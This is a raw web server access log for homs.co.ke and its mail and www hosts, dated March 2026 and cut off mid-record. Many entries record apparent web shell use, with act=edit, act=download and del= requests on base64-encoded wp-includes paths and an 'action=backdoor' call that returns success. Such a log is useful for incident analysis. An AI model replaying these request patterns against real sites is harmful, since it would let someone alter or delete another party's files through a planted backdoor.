"http://www.homs.co.ke/?act=edit&file=SimplePie.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL1NpbXBsZVBpZS9saWJyYXJ5" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.182.108 - - [06/Mar/2026:11:11:33 -0700] "GET /?del=footer.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL3RoZW1lLWNvbXBhdA== HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.182.86 - - [06/Mar/2026:11:11:33 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=download&file=class-wp-roles.php HTTP/1.1" 200 4021 "http://www.homs.co.ke/?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=download&file=class-wp-roles.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.181.144 - - [06/Mar/2026:11:11:33 -0700] "GET /?del=entry.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL3BvbW8= HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.176.192 - - [06/Mar/2026:11:11:33 -0700] "GET /?act=download&file=class-wp-post-type.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.179.202 - - [06/Mar/2026:11:11:33 -0700] "GET /?del=entry.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL3BvbW8= HTTP/1.1" 200 5376 "http://www.homs.co.ke/?del=entry.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL3BvbW8=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.174.72 - - [06/Mar/2026:11:11:34 -0700] "GET /?act=download&file=class-wp-post-type.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 200 4021 "http://www.homs.co.ke/?act=download&file=class-wp-post-type.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.182.166 - - [06/Mar/2026:11:11:34 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=download&file=widgets.php HTTP/1.1" 200 4021 "http://www.homs.co.ke/?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=download&file=widgets.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.182.208 - - [06/Mar/2026:11:11:34 -0700] "GET /?act=download&file=po.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL3BvbW8= HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.178.151 - - [06/Mar/2026:11:11:35 -0700] "GET /?act=download&file=po.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL3BvbW8= HTTP/1.1" 200 4164 "http://www.homs.co.ke/?act=download&file=po.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL3BvbW8=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.182.81 - - [06/Mar/2026:11:11:35 -0700] "GET /?del=footer.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL3RoZW1lLWNvbXBhdA== HTTP/1.1" 200 6034 "http://www.homs.co.ke/?del=footer.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL3RoZW1lLWNvbXBhdA==" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 170.106.82.209 - - [06/Mar/2026:11:12:34 -0700] "GET / HTTP/1.1" 200 57649 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" mail.homs.co.ke 10.38.197.90 43.173.181.149 - - [06/Mar/2026:11:12:44 -0700] "GET /?act=download&file=default-widgets.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.181.80 - - [06/Mar/2026:11:12:44 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=edit&file=ms-functions.php HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.179.236 - - [06/Mar/2026:11:12:45 -0700] "GET /?act=download&file=default-widgets.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 200 4021 "http://mail.homs.co.ke/?act=download&file=default-widgets.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.173.93 - - [06/Mar/2026:11:12:45 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=edit&file=ms-functions.php HTTP/1.1" 200 39637 "http://mail.homs.co.ke/?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=edit&file=ms-functions.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.173.30 - - [06/Mar/2026:11:12:45 -0700] "GET /?act=download&file=class-wp-block-patterns-registry.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.163.22.30 - - [06/Mar/2026:11:12:46 -0700] "GET /?act=download&file=class-wp-block-patterns-registry.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 200 4021 "http://mail.homs.co.ke/?act=download&file=class-wp-block-patterns-registry.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.174.219 - - [06/Mar/2026:11:15:39 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL3Nsb3Q= HTTP/1.1" 200 4173 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.179.211 - - [06/Mar/2026:11:15:39 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=download&file=ms-load.php HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.182.208 - - [06/Mar/2026:11:15:39 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=download&file=class-wp-block-list.php HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.182.75 - - [06/Mar/2026:11:15:40 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=download&file=ms-load.php HTTP/1.1" 200 4021 "http://www.homs.co.ke/?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=download&file=ms-load.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.175.226 - - [06/Mar/2026:11:15:40 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=download&file=class-wp-block-list.php HTTP/1.1" 200 4021 "http://www.homs.co.ke/?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=download&file=class-wp-block-list.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.180.136 - - [06/Mar/2026:11:15:41 -0700] "GET /?del=class-IXR-introspectionserver.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL0lYUg== HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.180.239 - - [06/Mar/2026:11:15:41 -0700] "GET /?del=class-IXR-introspectionserver.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL0lYUg== HTTP/1.1" 200 5998 "http://www.homs.co.ke/?del=class-IXR-introspectionserver.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL0lYUg==" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.166.247.82 - - [06/Mar/2026:11:28:04 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2pz HTTP/1.1" 200 25707 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" mail.homs.co.ke 10.38.197.90 167.94.138.44 - - [06/Mar/2026:11:28:45 -0700] "GET / HTTP/1.1" 200 57649 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" mail.homs.co.ke 10.38.197.90 167.94.138.44 - - [06/Mar/2026:11:28:46 -0700] "GET /favicon.ico HTTP/1.1" 404 - "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" mail.homs.co.ke 10.38.197.90 192.178.6.36 - - [06/Mar/2026:11:34:37 -0700] "GET /ads.txt HTTP/1.1" 404 - "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" homs.co.ke 10.38.197.90 43.157.170.13 - - [06/Mar/2026:11:37:07 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL3NpdGVtYXBz HTTP/1.1" 200 5578 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" mail.homs.co.ke 10.38.197.90 34.23.140.71 - - [06/Mar/2026:11:43:18 -0700] "HEAD / HTTP/1.1" 200 - "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.5993.90 Safari/537.36" homs.co.ke 10.38.197.90 34.23.140.71 - - [06/Mar/2026:11:43:19 -0700] "HEAD /blog/ HTTP/1.1" 404 - "-" "Mozilla/5.0 (Linux; Android 14; Xiaomi 14 Pro) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.33 Mobile Safari/537.36" homs.co.ke 10.38.197.90 34.23.140.71 - - [06/Mar/2026:11:43:19 -0700] "HEAD /wordpress/ HTTP/1.1" 404 - "-" "Mozilla/5.0 (Linux; Android 11; RMX2195) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.210 Mobile Safari/537.36 OPR/75.2.3995.72468" homs.co.ke 10.38.197.90 34.23.140.71 - - [06/Mar/2026:11:43:19 -0700] "HEAD /old/ HTTP/1.1" 404 - "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 15_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.141 Safari/537.36" homs.co.ke 10.38.197.90 34.23.140.71 - - [06/Mar/2026:11:43:19 -0700] "HEAD /backup/ HTTP/1.1" 404 - "-" "Mozilla/5.0 (Linux; Android 10; vivo 1904) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.60 Mobile Safari/537.36" homs.co.ke 10.38.197.90 34.23.140.71 - - [06/Mar/2026:11:43:19 -0700] "HEAD /new/ HTTP/1.1" 404 - "-" "Mozilla/5.0 (Linux; U; Android 10; en-US; CPH2015) AppleWebKit/537.36 (KHTML, like Gecko) UCBrowser/13.5.8.1311 Mobile Safari/537.36" homs.co.ke 10.38.197.90 34.23.140.71 - - [06/Mar/2026:11:43:19 -0700] "HEAD /wp/ HTTP/1.1" 404 - "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.70 Safari/537.36 Vivaldi/6.7.3200.25" homs.co.ke 10.38.197.90 43.155.140.157 - - [06/Mar/2026:11:46:20 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL3NvZGl1bV9jb21wYXQ= HTTP/1.1" 200 5510 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" mail.homs.co.ke 10.38.197.90 43.159.145.149 - - [06/Mar/2026:11:59:33 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=download&file=cache-compat.php HTTP/1.1" 409 83 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" mail.homs.co.ke 10.38.197.90 43.173.175.186 - - [06/Mar/2026:12:04:21 -0700] "GET /?act=download&file=class-wp-meta-query.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.179.17 - - [06/Mar/2026:12:04:21 -0700] "GET /?action=backdoor&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL1BIUE1haWxlcg== HTTP/1.1" 302 - "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.174.167 - - [06/Mar/2026:12:04:22 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL1BIUE1haWxlcg==&status=success HTTP/1.1" 200 5098 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.181.254 - - [06/Mar/2026:12:04:22 -0700] "GET /?act=download&file=class-wp-meta-query.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 200 4021 "http://mail.homs.co.ke/?act=download&file=class-wp-meta-query.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.179.102 - - [06/Mar/2026:12:06:20 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=download&file=shortcodes.php HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.182.15 - - [06/Mar/2026:12:06:21 -0700] "GET /?act=download&file=ms-files.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.181.195 - - [06/Mar/2026:12:06:21 -0700] "GET /?act=edit&file=class-wp-classic-to-block-menu-converter.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.179.119 - - [06/Mar/2026:12:06:21 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=download&file=shortcodes.php HTTP/1.1" 200 4021 "http://mail.homs.co.ke/?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=download&file=shortcodes.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.179.111 - - [06/Mar/2026:12:06:21 -0700] "GET /?act=download&file=ms-files.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 200 4021 "http://mail.homs.co.ke/?act=download&file=ms-files.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.182.7 - - [06/Mar/2026:12:06:21 -0700] "GET /?act=edit&file=class-wp-classic-to-block-menu-converter.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 200 5802 "http://mail.homs.co.ke/?act=edit&file=class-wp-classic-to-block-menu-converter.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 85.203.34.147 - - [06/Mar/2026:12:15:33 -0700] "GET /txets.php HTTP/1.1" 406 226 "-" "Go-http-client/1.1" homs.co.ke 10.38.197.90 85.203.34.137 - - [06/Mar/2026:12:15:33 -0700] "GET /wp-content/txets.php HTTP/1.1" 406 226 "-" "Go-http-client/1.1" homs.co.ke 10.38.197.90 85.203.34.118 - - [06/Mar/2026:12:15:34 -0700] "GET /wp-admin/txets.php HTTP/1.1" 406 226 "-" "Go-http-client/1.1" homs.co.ke 10.38.197.90 43.156.202.34 - - [06/Mar/2026:12:16:22 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=download&file=class-feed.php HTTP/1.1" 409 83 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" mail.homs.co.ke 10.38.197.90 43.166.129.247 - - [06/Mar/2026:12:18:39 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=download&file=class-IXR.php HTTP/1.1" 409 83 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" mail.homs.co.ke 10.38.197.90 37.27.55.110 - - [06/Mar/2026:12:25:57 -0700] "GET /robots.txt HTTP/1.1" 200 128 "-" "Mozilla/5.0 (compatible; SERankingBacklinksBot/1.0; +https://seranking.com/backlinks-crawler)" homs.co.ke 10.38.197.90 37.27.55.110 - - [06/Mar/2026:12:25:58 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2Nzcw==&del=classic-themes.css HTTP/1.1" 200 12530 "-" "Mozilla/5.0 (compatible; SERankingBacklinksBot/1.0; +https://seranking.com/backlinks-crawler)" homs.co.ke 10.38.197.90 37.27.55.110 - - [06/Mar/2026:12:26:05 -0700] "GET /robots.txt HTTP/1.1" 200 128 "-" "Mozilla/5.0 (compatible; SERankingBacklinksBot/1.0; +https://seranking.com/backlinks-crawler)" homs.co.ke 10.38.197.90 37.27.55.110 - - [06/Mar/2026:12:26:05 -0700] "GET /robots.txt HTTP/1.1" 200 128 "-" "Mozilla/5.0 (compatible; SERankingBacklinksBot/1.0; +https://seranking.com/backlinks-crawler)" homs.co.ke 10.38.197.90 37.27.55.110 - - [06/Mar/2026:12:26:05 -0700] "GET /robots.txt HTTP/1.1" 200 128 "-" "Mozilla/5.0 (compatible; SERankingBacklinksBot/1.0; +https://seranking.com/backlinks-crawler)" homs.co.ke 10.38.197.90 37.27.55.110 - - [06/Mar/2026:12:26:05 -0700] "GET /robots.txt HTTP/1.1" 200 128 "-" "Mozilla/5.0 (compatible; SERankingBacklinksBot/1.0; +https://seranking.com/backlinks-crawler)" homs.co.ke 10.38.197.90 37.27.55.110 - - [06/Mar/2026:12:26:05 -0700] "GET /robots.txt HTTP/1.1" 200 128 "-" "Mozilla/5.0 (compatible; SERankingBacklinksBot/1.0; +https://seranking.com/backlinks-crawler)" homs.co.ke 10.38.197.90 37.27.55.110 - - [06/Mar/2026:12:26:06 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2Nzcw==&del=editor-rtl.min.css HTTP/1.1" 200 12530 "-" "Mozilla/5.0 (compatible; SERankingBacklinksBot/1.0; +https://seranking.com/backlinks-crawler)" homs.co.ke 10.38.197.90 37.27.55.110 - - [06/Mar/2026:12:26:16 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2Nzcw==&del=wp-pointer-rtl.css HTTP/1.1" 200 12530 "-" "Mozilla/5.0 (compatible; SERankingBacklinksBot/1.0; +https://seranking.com/backlinks-crawler)" homs.co.ke 10.38.197.90 37.27.55.110 - - [06/Mar/2026:12:26:19 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2Nzcw==&del=wp-pointer.min.css HTTP/1.1" 200 12530 "-" "Mozilla/5.0 (compatible; SERankingBacklinksBot/1.0; +https://seranking.com/backlinks-crawler)" homs.co.ke 10.38.197.90 37.27.55.110 - - [06/Mar/2026:12:26:26 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2Jsb2Nrcw==&del=blocks-json.php HTTP/1.1" 409 83 "-" "Mozilla/5.0 (compatible; SERankingBacklinksBot/1.0; +https://seranking.com/backlinks-crawler)" homs.co.ke 10.38.197.90 170.106.167.214 - - [06/Mar/2026:12:26:54 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2pzL2NvZGVtaXJyb3I= HTTP/1.1" 200 5860 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" mail.homs.co.ke 10.38.197.90 43.173.178.37 - - [06/Mar/2026:12:30:46 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2pzL21lZGlhZWxlbWVudA== HTTP/1.1" 200 8042 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.182.213 - - [06/Mar/2026:12:30:47 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2Nzcy9kaXN0L2NvbXBvbmVudHM= HTTP/1.1" 200 5071 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.178.253 - - [06/Mar/2026:12:30:47 -0700] "GET /?act=download&file=class-wp.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.181.182 - - [06/Mar/2026:12:30:47 -0700] "GET /?act=edit&file=formatting.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.172.191 - - [06/Mar/2026:12:30:48 -0700] "GET /?act=download&file=kses.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.179.124 - - [06/Mar/2026:12:30:48 -0700] "GET /?act=download&file=class-wp-customize-section.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) 